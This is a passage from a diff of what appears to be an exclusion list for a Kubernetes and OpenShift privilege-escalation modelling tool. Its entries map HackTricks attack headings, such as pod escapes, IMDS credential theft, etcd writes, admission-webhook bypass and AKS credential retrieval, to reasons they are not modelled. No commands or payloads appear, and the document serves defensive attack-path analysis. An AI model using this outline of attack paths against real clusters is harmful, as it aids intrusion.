and post-renderer inputs + reason: Helm uses the caller's own Kubernetes identity; escalation only arises through a more privileged renderer (CI job or GitOps controller), modelled for Flux in k8s-workloads-flux-helmrelease-controller-identity and Argo CD in k8s-workloads-argocd-application-controller-identity; CI runners and plugins are not collected. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/access-and-common-concepts.md#rbac-roles-subjects-and-bindings + technique: system:masters membership and default bindings + reason: Group membership semantics handled by the evaluator, not a technique. +- source: src/pentesting-cloud/openshift-pentesting/openshift-jenkins/openshift-jenkins-build-overrides.md#possible-privescpivoting-scenarios + technique: Jenkins Kubernetes plugin build pod YAML overrides + reason: Source is a Jenkins user, not a Kubernetes principal; the pod is created with the Jenkins agent ServiceAccount, which reduces to pods create (modelled). +- source: src/pentesting-cloud/openshift-pentesting/openshift-jenkins/README.md#jenkins-build-pod-yaml-override + technique: Triggering Jenkins builds in OpenShift + reason: Same as build overrides; non-Kubernetes source principal. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md + technique: SecurityContext hardening reference + reason: Hardening guidance; no technique. +# ---- catalog refresh 171e422: HEAD headings with no separate edge ---- +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/attacking-kubernetes-from-inside-a-pod.md#starting-from-an-existing-pod-foothold + technique: Pod foothold boundary review + reason: Assessment guidance; the pod's ServiceAccount, node and cloud identities are separate principals already modelled. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/attacking-kubernetes-from-inside-a-pod.md#escaping-from-the-pod + technique: Generic Linux container escape references + reason: Pointer to Linux privilege-escalation pages; the Kubernetes-visible escape primitives are modelled by k8s-nodes-exec-into-host-privileged-pod and k8s-nodes-exec-into-host-mount-pod. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/attacking-kubernetes-from-inside-a-pod.md#establish-an-actual-host-escape-path + technique: Host escape surface table (mounts, host namespaces, capabilities, runtime) + reason: Classification reference implemented by the k8s_node_hosting_privileged_pod_in_namespace and k8s_node_hosting_host_mount_pod_in_namespace selectors (hostNetwork/hostPID/hostIPC alone are not escapes). +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/attacking-kubernetes-from-inside-a-pod.md#host-namespace-capability-and-device-paths + technique: SYS_ADMIN / SYS_PTRACE+hostPID / DAC_READ_SEARCH / SYS_MODULE / MKNOD / NET_ADMIN capability paths + reason: Covered by k8s-nodes-exec-into-host-privileged-pod (SYS_ADMIN, SYS_MODULE, DAC_READ_SEARCH, ALL and SYS_PTRACE with hostPID match conditionally); MKNOD/SYS_RAWIO need an exposed device and NET_ADMIN/NET_RAW give no host identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/attacking-kubernetes-from-inside-a-pod.md#creating-an-escape-capable-pod-through-the-api + technique: Escape-capable pod creation (nodeName, kubectl debug node) + reason: Covered by k8s-nodes-privileged-pod-create and k8s-nodes-privileged-controller-create (kubectl debug node is ordinary pod creation). +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/attacking-kubernetes-from-inside-a-pod.md#abusing-kubernetes-privileges + technique: Using the pod ServiceAccount's RBAC + reason: Pointer to the RBAC techniques modelled in rbac.yaml and workloads.yaml. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/attacking-kubernetes-from-inside-a-pod.md#abusing-cloud-privileges + technique: Using the pod's cloud identity + reason: Pointer to cloud pivots modelled in cloud_pivot.yaml. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/attacking-kubernetes-from-inside-a-pod.md#network-spoofing + technique: In-cluster network spoofing + reason: Network attack without a new identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/attacking-kubernetes-from-inside-a-pod.md#automatic-tools + technique: Automated tooling + reason: Tool list, not a technique. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-namespace-escalation.md#abuse-k8s-privileges + technique: Cross-namespace RBAC abuse + reason: Covered by the RBAC and workload entries (bindings, impersonation, token minting, pod creation in other namespaces). +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-namespace-escalation.md#cross-namespace-identity-review + technique: Cross-namespace binding review + reason: Enumeration guidance; cross-namespace RoleBinding subjects are evaluated as RBAC. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-namespace-escalation.md#node-compromise-and-namespace-isolation + technique: Node compromise crossing namespaces + reason: Covered by k8s-nodes-node-mint-pod-sa-tokens (node identity to ServiceAccounts of its pods). +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-namespace-escalation.md#cloud-to-cluster-trust-paths + technique: Cloud principal mapped into the cluster + reason: Cloud-side mappings (EKS access entries, aws-auth, GKE IAM, AKS credentials) are modelled in cloud_pivot.yaml and the cloud catalogs. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-pivoting-to-clouds.md#verify-the-cloud-to-kubernetes-bridge + technique: Verifying cloud-to-cluster kubeconfig access + reason: Assessment guidance; kubeconfig retrieval grants no Kubernetes authorization by itself. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-pivoting-to-clouds.md#cloud-controllers-as-an-indirect-privilege-path + technique: Cloud controllers acting on Kubernetes objects (LoadBalancer, snapshots, DNS, external secrets) + reason: Exposure or data access through controller identities; the resulting cloud identity gain is controller- and policy-specific and not collected. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-pivoting-to-clouds.md#direct-gke-workload-principals-and-node-boundaries + technique: Direct IAM grants to GKE workload principals + reason: The grant lives in GCP IAM on principal://.../ns//sa/ members; the KSA side is the same as k8s-cloud-gke-workload-identity and the GCP evaluator owns the IAM side. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-pivoting-to-clouds.md#gke-iam-permissions-node-pools-and-autopilot-exceptions + technique: GKE IAM container.* permissions and Autopilot allowlists + reason: GCP-side permissions (container.pods.create, roles.bind/escalate) are owned by the GCP catalog; Autopilot WorkloadAllowlist is admission configuration. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-pivoting-to-clouds.md#eks-auto-mode-node-configuration + technique: EKS Auto Mode NodePool/NodeClass writes selecting a node IAM role + reason: Infrastructure change through a controller; the node role still has to be reached through a node (modelled by k8s-cloud-node-cloud-identity); NodeClass objects are not collected. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-pivoting-to-clouds.md#find-pods-a-sas-with-iam-roles-in-the-cluster + technique: Finding ServiceAccounts with IAM roles + reason: Enumeration. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-pivoting-to-clouds.md#steal-iam-role-token + technique: Reading node IAM role credentials from IMDS + reason: Covered by k8s-cloud-node-cloud-identity, k8s-cloud-pod-imds-node-identity and k8s-cloud-hostnetwork-pod-node-identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/README.md#critical-permissions + technique: Critical permission summary table + reason: Index of techniques mapped individually in the subpages. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/api-object-operations.md#create-and-remove-a-pod + technique: Pod create/delete lab procedure + reason: Operational procedure; the escalation is k8s-workloads-pods-create. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/api-object-operations.md#create-and-remove-serviceaccounts-roles-and-bindings + technique: ServiceAccount/Role/binding create-delete lab procedure + reason: Operational procedure; RBAC writes are only escalations with bind/escalate (rbac.yaml). +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/api-object-operations.md#manually-created-serviceaccount-token-secret + technique: Manually created ServiceAccount token Secret + reason: Covered by k8s-rbac-secrets-create-sa-token-secret. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/controllers-and-admission.md#cross-namespace-reference-through-an-operator + technique: Operator reading cross-namespace Secrets on behalf of a CR author + reason: Secret disclosure (data access) through an operator-specific CRD; operator behaviour is not derivable from RBAC. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/controllers-and-admission.md#operator-custom-resource-confused-deputy + technique: Operator custom-resource confused deputy + reason: Operator-specific (which CR field becomes a pod command or binding under the operator identity is not derivable from RBAC or the inventory); Flux and Argo CD deputies are modelled in workloads.yaml. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/external-secrets-operator.md#disclaimer + technique: ESO prerequisites disclaimer + reason: Context for the ExternalSecret technique excluded at #assembling-the-pieces. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/external-secrets-operator.md#gathering-information-about-existing-clustersecretstore + technique: ClusterSecretStore enumeration + reason: Enumeration. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/external-secrets-operator.md#externalsecret-enumeration + technique: ExternalSecret enumeration + reason: Enumeration. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/helm-template-injection.md#values-to-rbac-through-a-privileged-reconciler + technique: Values-to-RBAC through a privileged reconciler (lab-specific applier) + reason: Depends on which controller consumes the values source and how the chart maps them; not derivable from RBAC. Flux/Argo CD deputies are modelled in workloads.yaml. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/helm-template-injection.md#exploitation-ideas + technique: Helm .Values YAML injection + reason: Chart-specific input validation flaw; the escalation is the renderer identity, modelled by the GitOps deputy entries. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/helm-template-injection.md#helm-v3-vs-helm-v4 + technique: Helm 3 vs Helm 4 apply behaviour + reason: Background. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/kyverno.md#definition + technique: Kyverno definition + reason: Background. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/kyverno.md#use-cases + technique: Kyverno use cases + reason: Background. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/kyverno.md#example-clusterpolicy-and-policy + technique: Kyverno policy example + reason: Background. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kyverno-bypass.md#abusing-validatingwebhookconfiguration + technique: Kyverno webhook configuration bypass + reason: Pointer to validating-admission-policies.md; webhook configuration writes are k8s-admission-webhook-configuration-weaken (kyverno_policy lifted) and mutating webhook creation is k8s-workloads-mutating-webhook-injection. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/opa-gatekeeper.md#definition + technique: Gatekeeper definition + reason: Background. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/opa-gatekeeper.md#apply-constraint + technique: Gatekeeper constraint example + reason: Background. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/opa-gatekeeper-bypass.md#abusing-validatingwebhookconfiguration + technique: Gatekeeper webhook configuration bypass + reason: Pointer to validating-admission-policies.md; webhook configuration writes are k8s-admission-webhook-configuration-weaken (gatekeeper_constraint lifted) and mutating webhook creation is k8s-workloads-mutating-webhook-injection. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/storage-and-networking.md#copy-a-pvc-through-volumesnapshot + technique: Copy a PVC through VolumeSnapshot + reason: Data access within the same namespace, no new identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/storage-and-networking.md#dra-admin-device-claims + technique: DRA adminAccess ResourceClaims + reason: Driver-specific device access; per HackTricks it grants neither cluster-admin nor node root by itself. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#definition + technique: ValidatingWebhookConfiguration definition + reason: Background. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#purpose + technique: Admission webhook purpose + reason: Background. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#native-cel-admission-policies + technique: Native CEL admission policies + reason: Background; policy writes are mapped at #tested-admission-control-mutations (k8s-admission-validating-policy-weaken). +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#explicit-serviceaccount-token-projection + technique: Explicit projected ServiceAccount token despite automount false + reason: Covered by k8s-workloads-pods-create (automountServiceAccountToken is not treated as a blocker). +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#init-container-envfrom-omission + technique: Init-container envFrom policy gap + reason: The disposable PROOF marker in this example is data, not an identity. If the referenced same-namespace + Secret contains a usable token or certificate for another principal, Pod creation can expose that identity; + the generic Argo CD Pod-mount path is proposed as k8s-workloads-pods-mount-argocd-cluster-credential, subject + to credential evidence and admission. The init-container field omission is only a policy-specific route to that + edge. + +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#scoped-resourcequota-gap + technique: Scoped ResourceQuota gap + reason: Resource-exhaustion / DoS. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#use-case + technique: Webhook use case + reason: Background. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#podcertificate-signer-identity-confusion + technique: PodCertificate custom signer trusting userAnnotations + reason: Not default Kubernetes behaviour; depends on a custom signer and relying application, neither collected. +- source: src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/README.md#missing-service-account + technique: Missing ServiceAccount (index) + reason: Index; modelled by k8s-rbac-dangling-serviceaccount-reference. +- source: src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/README.md#tekton + technique: Tekton (index) + reason: Index; modelled by k8s-openshift-tekton-namespace-scc-annotation. +- source: src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/README.md#scc-bypass + technique: SCC bypass (index) + reason: Index; modelled by the openshift.yaml SCC entries. +- source: src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-scc-bypass.md#custom-labels + technique: Custom labels consumed by automation or admission + reason: Environment-specific automation; not derivable. +- source: src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-scc-bypass.md#list-namespaces-with-the-run-level-label + technique: Listing run-level namespaces + reason: Enumeration. +- source: src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-tekton.md#what-is-tekton + technique: Tekton background + reason: Background. +- source: src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-tekton.md#the-pipeline-service-account-capabilities + technique: pipeline ServiceAccount with pipelines-scc + reason: Holding the pipeline SA's credentials is the starting point; reaching it is pod creation as that SA (k8s-workloads-pods-create) and its SCC use is modelled by k8s-openshift-scc-via-namespace-sa. +- source: src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-tekton.md#the-fix + technique: Tekton maxAllowed fix + reason: Mitigation. +# ---- ledger pass 171e422 (docs/privesc-ledgers/privesc-k8s.md): technique headings that had no catalog line ---- +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/dosing-other-nodes.md#resource-pressure-or-loss-of-node-health + technique: Resource pressure or stopping kubelet on competing nodes + reason: Needs a workload or host access on the competing node and yields availability loss; the placement half is k8s-nodes-replacement-pod-to-controlled-node. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/etcd-post-exploitation.md#locate-and-read-the-active-datastore + technique: Reading Kubernetes objects directly from etcd + reason: Requires etcd client certificates or host access to a control-plane/etcd member (not an RBAC grant); control-plane host compromise is k8s-nodes-control-plane-node. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/etcd-post-exploitation.md#create-a-new-workload-through-etcd + technique: Writing a Pod object directly into etcd + reason: Same prerequisite as etcd reads (datastore credentials); bypasses the API server so no RBAC requirement exists to model. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/helm-release-and-runner-evidence.md#release-records-and-sensitive-history + technique: Reading Helm release Secrets (sh.helm.release.v1.*) for values history + reason: Requires secrets read, already modelled by k8s-rbac-secrets-read-legacy-sa-token for ServiceAccount tokens; other credentials in values are not derivable from metadata. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/helm-release-and-runner-evidence.md#deployment-runner-and-chart-supply-chain + technique: Compromising the Helm deployment runner or chart supply chain + reason: CI/CD and registry compromise outside the cluster snapshot. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-unauthenticated-access/README.md#helm-2-tiller-release-operations-without-client-tls + technique: Helm 2 Tiller without client TLS + reason: Network-exposed service with no authenticating principal; Tiller's ServiceAccount is reachable from anything that can reach the port, which the snapshot does not model. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-unauthenticated-access/README.md#nodeport-ingress-gateway-and-exposed-application-backends + technique: Exposed NodePort/Ingress/Gateway application backends + reason: Application-level unauthenticated exposure; no Kubernetes principal edge. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-unauthenticated-access/README.md#kubernetes-dashboard-legacy-skip-login + technique: Kubernetes Dashboard skip login + reason: Network exposure of the Dashboard ServiceAccount; no RBAC source principal (the Dashboard SA's own grants are evaluated as a normal ServiceAccount). +- source: src/pentesting-cloud/kubernetes-security/kubernetes-unauthenticated-access/README.md#argo-cd-anonymous-gitops-permissions + technique: Argo CD anonymous access + reason: Argo CD's own (non-Kubernetes) RBAC; the Kubernetes side is k8s-workloads-argocd-application-controller-identity once Applications can be written. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-unauthenticated-access/README.md#argo-workflows-server-mode-workflow-submission + technique: Argo Workflows server-mode submission + reason: Argo server auth mode, not Kubernetes RBAC; workflows run as the selected ServiceAccount, equivalent to pod creation. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-unauthenticated-access/README.md#prometheus-alertmanager-grafana-and-metrics-endpoints + technique: Exposed Prometheus, Alertmanager, Grafana and metrics endpoints + reason: Information disclosure over the network; no identity edge. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-unauthenticated-access/README.md#envoy-and-service-mesh-admin-interfaces + technique: Exposed Envoy and mesh admin interfaces + reason: Network-level admin interface; no Kubernetes principal edge. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-unauthenticated-access/README.md#weave-scope-exposed-container-controls + technique: Weave Scope exposed container controls + reason: Network exposure of a privileged agent; no Kubernetes principal edge. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-unauthenticated-access/README.md#container-registries-anonymous-images-and-layers + technique: Anonymous container registry access + reason: Registry data read outside the cluster API. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-unauthenticated-access/kubelet-authentication-and-authorization.md#kubelet-authentication + technique: Kubelet anonymous / webhook authentication + reason: Kubelet configuration is not collected; authenticated kubelet API access is modelled by the nodes/proxy entries. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-unauthenticated-access/kubelet-authentication-and-authorization.md#webhook-cache-and-permission-revocation + technique: Kubelet authorization cache after RBAC revocation + reason: Incident-response timing behaviour; no escalation edge. +- source: src/pentesting-cloud/kubernetes-security/spiffe-spire-workload-identity-spoofing.md#cgroup-based-selector-spoofing + technique: SPIRE cgroup selector spoofing from node root + reason: Requires node root (k8s_node already reached) and yields SPIFFE SVIDs trusted by external services; SPIRE registrations and relying parties are not collected. +# ---- independent heading coverage review at a66f094ede ---- +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/access-and-common-concepts.md#helm-kustomize-and-gitops + technique: Helm, Kustomize and GitOps concepts + reason: Describes renderers and deployers; it grants no permission. Concrete controller-deputy writes are in workloads.yaml. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/control-plane-components.md#cloud-controller-manager + technique: Cloud controller manager background + reason: Describes reconciliation of cloud resources; no source permission or principal-to-principal path. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/control-plane-components.md#secrets-in-etcd + technique: Discovering Secrets in etcd + reason: Requires datastore or control-plane host access; the host principal is covered by k8s-nodes-control-plane-node, and reading Secret values does not itself identify a new principal. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/kubernetes-objects.md#configuration-and-secret-objects + technique: Configuration and Secret object definitions + reason: Object taxonomy; the concrete token Secret read and ConfigMap code-consumption paths are in rbac.yaml and workloads.yaml. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/kubernetes-objects.md#policy-scheduling-and-operational-objects + technique: Policy and scheduling object definitions + reason: Object taxonomy without a distinct permission set; node scheduling and admission writes are modelled in nodes.yaml and admission_control.yaml. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/kubernetes-objects.md#secret-delivery-example + technique: Secret delivery example + reason: The manifest creates a synthetic Opaque username/password Secret and a Pod that reads that same Secret; + it does not demonstrate obtaining another principal's credentials. Creating a Pod to run as a stronger ServiceAccount + is covered by k8s-workloads-pods-create. Mounting a pre-existing static Google service-account key is covered + by k8s-cloud-pivot-secret-static-gcp-sa-key. + +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/node-components.md#node-identity-and-authorization + technique: Node identity and authorization background + reason: Explains node credentials and NodeRestriction, which constrain the node paths rather than granting a new principal. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md#get-list-watch-and-visibility + technique: get, list and watch visibility + reason: General API enumeration; specific credential-bearing Secret reads are covered by the rbac.yaml Secret entry. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md#get-my-current-permissions + technique: SelfSubjectAccessReview permission discovery + reason: Queries the caller's existing authorization and grants no new identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-enumeration/controller-and-admission-objects.md#pod-security-admission-and-resource-policy + technique: Enumerating Pod Security Admission and resource policies + reason: Read-only policy inspection; namespace label and admission-control mutations are modelled separately. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-enumeration/controller-and-admission-objects.md#operators-policy-controllers-and-gitops + technique: Enumerating operators and GitOps controllers + reason: Read-only controller discovery; no write to a source object or new identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-enumeration/controller-and-admission-objects.md#helm-and-packaging-evidence + technique: Helm release and chart enumeration + reason: Read-only release inspection; chart or values changes need a privileged reconciler and are covered by the controller-deputy entries or the Helm exclusion. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-enumeration/networking-objects.md#networkpolicies-and-plugin-specific-policy + technique: NetworkPolicy enumeration + reason: Reads traffic policy; changing policy affects reachability, not a principal's identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-enumeration/secrets-and-configmaps.md#external-secret-delivery-objects + technique: External Secret object enumeration + reason: Inspects delivery configuration only; ExternalSecret creation reads data and has no derivable identity in the snapshot. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-enumeration/secrets-and-configmaps.md#clustertrustbundles-and-installed-certificate-controllers + technique: ClusterTrustBundle and certificate controller enumeration + reason: Reads trust and signer configuration; certificate identity minting requires the separate CSR permission combination in rbac.yaml. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-enumeration/storage-objects.md#pod-local-volume-sources + technique: Pod volume-source enumeration + reason: Lists mounts; host-level use requires pod creation or access already modelled in nodes.yaml. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-persistence/nodes-and-static-pods.md#static-pod-manifest + technique: Static Pod manifest persistence + reason: Requires prior host-file write and cannot reference ServiceAccounts or Secret/ConfigMap volumes; no additional principal is gained. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-persistence/workloads-and-gitops.md#detached-process-in-an-existing-pod + technique: Detached process in an existing Pod + reason: Persistence inside the same Pod identity; no additional principal beyond the pods/exec access already modelled. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/internal-network-attacks.md#dns-and-proxy-policy-review + technique: DNS and proxy policy review + reason: Network configuration inspection; no credential or principal transition. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/internal-network-attacks.md#networkpolicy-and-admin-policy-layers + technique: NetworkPolicy and admin-policy layers + reason: Traffic authorization and isolation; writes change connectivity, not identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/internal-network-attacks.md#pod-label-traffic-hijack + technique: Pod label traffic hijack + reason: Reroutes Service traffic to an attacker Pod; no deterministic transfer of a Kubernetes principal. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/internal-network-attacks.md#create-only-name-squatting + technique: Create-only Service and Endpoint name squatting + reason: Captures traffic for an absent object name; credentials obtained from applications are not derivable from RBAC and object metadata. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/internal-network-attacks.md#cross-node-resolver-side-dns-interception + technique: Resolver-side DNS interception across nodes + reason: Requires network or node control and redirects traffic; no specific principal is gained. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/internal-network-attacks.md#stable-pod-dns-names-are-routing-hints-not-identity + technique: Stable Pod DNS names + reason: Routing hints have no authentication authority or identity transition. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/node-post-exploitation.md#node-network-and-local-services + technique: Node network and local services + reason: Network access after node compromise; new credentials are not identified by this section. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/node-post-exploitation.md#find-node-kubeconfig + technique: Find node kubeconfig + reason: Reads the already controlled node's own credential; node-to-workload reach is modelled by k8s-nodes-node-mint-pod-sa-tokens. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/node-post-exploitation.md#pivot-to-cloud + technique: Pivot from a node to a cloud role + reason: Covered by k8s-cloud-node-cloud-identity for the node's associated cloud credential. +- source: src/pentesting-cloud/openshift-pentesting/openshift-scc.md#list-scc + technique: List Security Context Constraints + reason: Read-only SCC discovery; the separate use and namespace-bypass permission combinations are modelled in openshift.yaml. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md#rbac-and-serviceaccount-safeguards + technique: RBAC and ServiceAccount safeguards + reason: Defensive configuration advice; no new principal is obtained by applying it. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/node-components.md#kubelet-and-the-pod-lifecycle + technique: Kubelet and Pod lifecycle background + reason: Describes kubelet operations rather than an additional RBAC permission; nodes/proxy and node access are modelled in nodes.yaml. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/node-components.md#cni-and-network-policy + technique: CNI and network-policy background + reason: Describes traffic enforcement, not impersonation or credential transfer. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/node-components.md#csi-devices-and-node-agents + technique: CSI, device and node-agent background + reason: Lists host components; no distinct source permission or identified target principal. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/node-components.md#node-health-placement-and-local-evidence + technique: Node health and placement background + reason: Explains scheduler inputs; concrete status writes and controlled-node placement are in nodes.yaml. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-enumeration/control-plane-and-node-services.md#cloud-controller-manager + technique: Cloud controller-manager enumeration + reason: Read-only discovery of the controller; no write or new principal. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-enumeration/control-plane-and-node-services.md#node-services + technique: Node service enumeration + reason: Probes kubelet and local services; nodes/proxy is modelled, while network-exposed services have no RBAC source edge. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-enumeration/control-plane-and-node-services.md#csi-device-plugins-and-node-agents + technique: CSI and device plugin enumeration + reason: Read-only inventory of installed agents; access to an agent's identity requires a separate workload or node path. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-enumeration/control-plane-and-node-services.md#other-installed-node-agents + technique: Installed node-agent enumeration + reason: Read-only agent discovery without an actionable permission combination. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md#helm-deployment-boundaries + technique: Helm deployment boundary guidance + reason: Defensive advice identifying the deploying identity; direct Helm invocation uses the caller's own authorization. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md#scan-helm-charts + technique: Scan Helm charts + reason: Defensive static analysis of chart content; no change of privileges. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md#spiffespire-workload-identity + technique: SPIFFE/SPIRE hardening guidance + reason: Defensive guidance; the concrete node-root selector spoofing is separately excluded because SPIRE registrations and relying parties are not collected. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-permissions-for-a-pentest.md#kubernetes-api-read-permissions + technique: Kubernetes API read permission baseline + reason: Enumerating cluster objects does not grant another principal; token-bearing Secret read is separately modelled in rbac.yaml. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/node-post-exploitation.md#node-boundary-and-evidence + technique: Node boundary and evidence + reason: Explains which node-local files and processes are reachable after node compromise; the node edge is already reached. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/node-post-exploitation.md#spiffespire-workload-identity-spoofing + technique: SPIFFE/SPIRE node-root identity spoofing pointer + reason: Requires node root already gained; SPIRE registrations and relying parties needed to identify an SVID target are not collected. +# Kubernetes-named pages outside kubernetes-security: provider-control-plane permissions +# belong to their provider catalogs; unauthenticated exposure has no RBAC source. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#aks-cluster-credentials + technique: AKS user/admin kubeconfig retrieval + reason: Source permissions are Azure ARM listClusterUserCredential/listClusterAdminCredential; they are Azure-principal edges in the azure catalog, not Kubernetes RBAC grants. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#alternative-cluster-credential-retrieval-apis + technique: AKS alternate credential retrieval APIs + reason: Source permissions are Azure ARM actions, evaluated in the azure catalog; the Kubernetes catalog starts after those credentials are obtained. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#run-command--in-cluster-execution-with-no-kubeconfig-and-no-network-line-of-sight + technique: AKS Run Command + reason: Microsoft.ContainerService/managedClusters/runCommand/action is an Azure ARM permission, not a Kubernetes verb. +- source: 